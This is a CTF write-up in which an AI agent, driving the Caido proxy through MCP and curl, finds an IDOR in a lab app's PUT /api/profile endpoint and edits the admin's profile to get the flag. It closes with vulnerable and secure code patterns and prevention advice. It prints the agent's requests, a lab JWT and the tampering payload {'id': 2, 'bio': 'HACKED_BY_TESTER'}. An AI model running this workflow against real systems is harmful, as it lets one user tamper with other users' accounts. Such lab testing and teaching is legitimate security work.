-
Weekend, relax … why not some Broken Access Control testing :)
-
I am letting my MCP loose today, only mentioning what to look for.
-
Focusing the MCP is definitely an advantage, not only to use less tokens but save time and effort, as well as upgrade the skill it has so when a future problem like this shows up, testing is much quicker and painless.
Enumeration
-
Clicking around and playing with the app for a while…
-
This has become part of methodology, no matter whether I see an issue right away or not
-
I have managed to build a skill to always learn the application, how does it respond and what are the potential issues I can exploit
-
Loaded my usual skill and off I went!
Step 1
⏺ Skill(pentest-webapp)
⎿ Successfully loaded skill
⏺ Starting IDOR testing on the BugForge CTF target. Let me first check Caido for any captured requests to understand the app structure.
⏺ caido - caido_list_requests (MCP)(limit: 50)
⎿ {
"hasMore": true,
"nextCursor": "eyJpZCI6IjUwIiwib3JkZXJfdmFsdWUiOm51bGx9",
… +369 lines (ctrl+o to expand)
⎿ {
"entries": [
{
… +7 lines (ctrl+o to expand)
⏺ The sitemap shows the target domain. Let me get requests from the current target and explore the sitemap further.
⏺ caido - caido_list_requests (MCP)(httpql: "req.host.cont:\"lab-1769869490510\"", limit: 100)
⎿ {
"hasMore": false,
"nextCursor": "eyJpZCI6IjM0MjYiLCJvcmRlcl92YWx1ZSI6bnVsbH0=",
… +237 lines (ctrl+o to expand)
⏺ caido - caido_get_sitemap (MCP)(parentId: "1")
⎿ {
"entries": [
{
… +46 lines (ctrl+o to expand)
⏺ Good - I can see the API structure. Key endpoints:
- /api/register - POST
- /api/login - POST
- /api/posts - GET
- /api/profile/{username} - GET
- /api/posts/{id}/like - POST
- /api/posts/{id}/comments - GET/POSTStep 2
Let me examine the API requests more closely to understand the IDs and data structures.
⏺ caido - caido_get_request (MCP)(ids: ["3395","3404","3407","3419","3411","3412","3413"], include: ["requestHeaders","requestBody","responseHeaders","responseBody"])
⎿ {
"requests": [
{
… +257 lines (ctrl+o to expand)
⏺ Now I have a clear picture of the app. Key observations:
Users:
- User 1: otter_lover
- User 2: admin (interesting!)
- User 3: sea_otter_fan
- User 4: tester (my user)
IDs to test for IDOR:
- /api/profile/{username} - uses username, not numeric ID
- /api/posts/{id}/like - post ID
- /api/posts/{id}/comments - post ID
- User IDs in responses (1, 2, 3, 4)Step 3
Let me check the JS file for API endpoints and look for profile update/account modification endpoints (WRITE operations - higher priority per skill).
⏺ caido - caido_get_request (MCP)(ids: ["3389"], include: ["responseBody"], bodyLimit: 10000)
⎿ {
"id": "3389",
"response": {
… +46 lines (ctrl+o to expand)
⏺ The JS is minified. Let me search for API endpoint patterns within it.
⏺ Bash(curl -s "https://lab-1769869490510-qc54ar.labs-app.bugforge.io/static/js/main.300c5045.js" | grep -oE '"/api/[^"]+"|/api/[a-zA-Z0-9/_-]+' | sort -u)
⎿ "/api/admin"
"/api/login"
"/api/posts"
… +5 lines (ctrl+o to expand)
⏺ Interesting - there's /api/admin endpoint! Let me test that and also look for profile update endpoints (PUT/PATCH operations for IDOR).
⏺ caido - caido_send_request (MCP)(raw: "GET /api/admin HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nAccept: application/json")
⎿ {
"message": "Request sent to https://lab-1769869490510-qc54ar.labs-app.bugforge.io:443",
"sessionId": "1",
… +2 lines (ctrl+o to expand)Step 4
⏺ caido - caido_send_request (MCP)(raw: "GET /api/profile/admin HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nAccept: application/json")
⎿ Error: failed to send request: replay error: TaskInProgressUserError
⏺ caido - caido_send_request (MCP)(raw: "PUT /api/profile/tester HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nContent-Type: application/json\nAccept: application/json\n\n{\"bio\": \"test
bio\"}")
⎿ Error: failed to send request: replay error: TaskInProgressUserError
⏺ Got TaskInProgressUserError - let me wait and try again.
⏺ caido - caido_list_requests (MCP)(httpql: "req.host.cont:\"lab-1769869490510\"", limit: 10)
⎿ {
"hasMore": true,
"nextCursor": "eyJpZCI6IjMzOTciLCJvcmRlcl92YWx1ZSI6bnVsbH0=",
… +63 lines (ctrl+o to expand)
⎿ {
"sessions": [
{
… +16 lines (ctrl+o to expand)
⏺ caido - caido_get_replay_entry (MCP)(id: "32")
⎿ Error: failed to get replay entry: graphql: Unknown field "isTls" on type "ConnectionInfo".- At this point I found a small issue inside of the MCP
Error 1: TaskInProgressUserError
Cause: The MCP tries to reuse the same replay session for concurrent requests. When one request is in-flight, subsequent requests fail.
Fix needed in MCP:
// Current: reuses single session
const sessionId = "1";
// Fix: create new session per request OR wait for completion
const session = await createNewReplaySession();
---
Error 2: Unknown field "isTls" on type "ConnectionInfo"
Cause: GraphQL schema mismatch. The MCP queries for isTls field but Caido's current schema doesn't have it. API changed between Caido versions.
Fix needed in MCP:
# Current query (broken)
query { replayEntry { connection { isTls } } }
# Fix: use correct field name from current schema
query { replayEntry { connection { tls } } } # or whatever the actual field is- Flag and streak are life … fix coming later :)
- Meanwhile … we switch to
curl
Step 5
⏺ Let me try sending requests via curl instead due to the MCP issue.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === /api/admin ===
{
"error": "Admin access required"
… +44 lines (ctrl+o to expand)
⏺ So I can read admin's profile (IDOR on read). Now let me find WRITE endpoints - check for profile update methods and other endpoints.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === PATCH /api/profile/tester ===
<!DOCTYPE html>
<html lang="en">
… +44 lines (ctrl+o to expand)
⏺ PUT /api/profile accepts requests and wants a user ID. This is a potential IDOR vector. Let me test it.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === PUT /api/profile - update MY profile (user_id: 4) ===
{
"error": "User ID is required"
… +35 lines (ctrl+o to expand)
⏺ Hmm, still says "User ID is required". Let me try different field names.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === Try 'id' field ===
{
"message": "Profile updated successfully"
… +23 lines (ctrl+o to expand)
⏺ It works with id field. Now let's test IDOR - can I update admin's profile (id: 2)?Final Step
⏺ IDOR confirmed!
Summary
Vulnerability: IDOR on PUT /api/profile endpoint
Details:
- Endpoint: PUT /api/profile
- Vulnerable parameter: id in JSON body
- Impact: Can update ANY user's profile by specifying their user ID
- My user: id=4 (tester)
- Admin user: id=2
Proof:
- Sent {"id": 2, "bio": "HACKED_BY_TESTER"} with my (tester) auth token
- Successfully modified admin's profile bio
- Flag revealed in response: bug{0z2LlicV2bdbJlo0xNalOUhSdlxh5QXM}
Root Cause: The endpoint trusts the id field from user input without verifying it matches the authenticated user's ID from the JWT token.
This is a CRITICAL IDOR (WRITE) - allows account modification of any user including admin.

Security Takeaways
Vulnerability:
IDOR on Profile Update Endpoint
Endpoint:
PUT /api/profile
The Flaw:
- Backend accepts id field from request body to determine which user profile to update
- No server-side validation that id matches authenticated user from JWT
- JWT contains {“id”:4,“username”:“tester”} but server blindly trusts body {“id”:2}
Why This Happens
// VULNERABLE pattern
app.put('/api/profile', (req, res) => {
const userId = req.body.id; // ❌ Trusts user input
updateProfile(userId, req.body);
});
// SECURE pattern
app.put('/api/profile', (req, res) => {
const userId = req.user.id; // ✅ Uses authenticated user from JWT
updateProfile(userId, req.body);
});Testing Methodology
- Identify all endpoints with IDs - profile, posts, comments, likes
- Prioritise WRITE over READ -
PUT/PATCH/DELETE > GET - Test different ID field names -
id, user_id, userId, query params, path params - Compare before/after - verify change actually applied
Prevention
- Never trust user-supplied IDs for ownership - use session/JWT identity
- Implement authorization middleware - check resource ownership before modification
- Use indirect references - /api/profile/me instead of /api/profile?id=X
- Log and alert on cross-user access attempts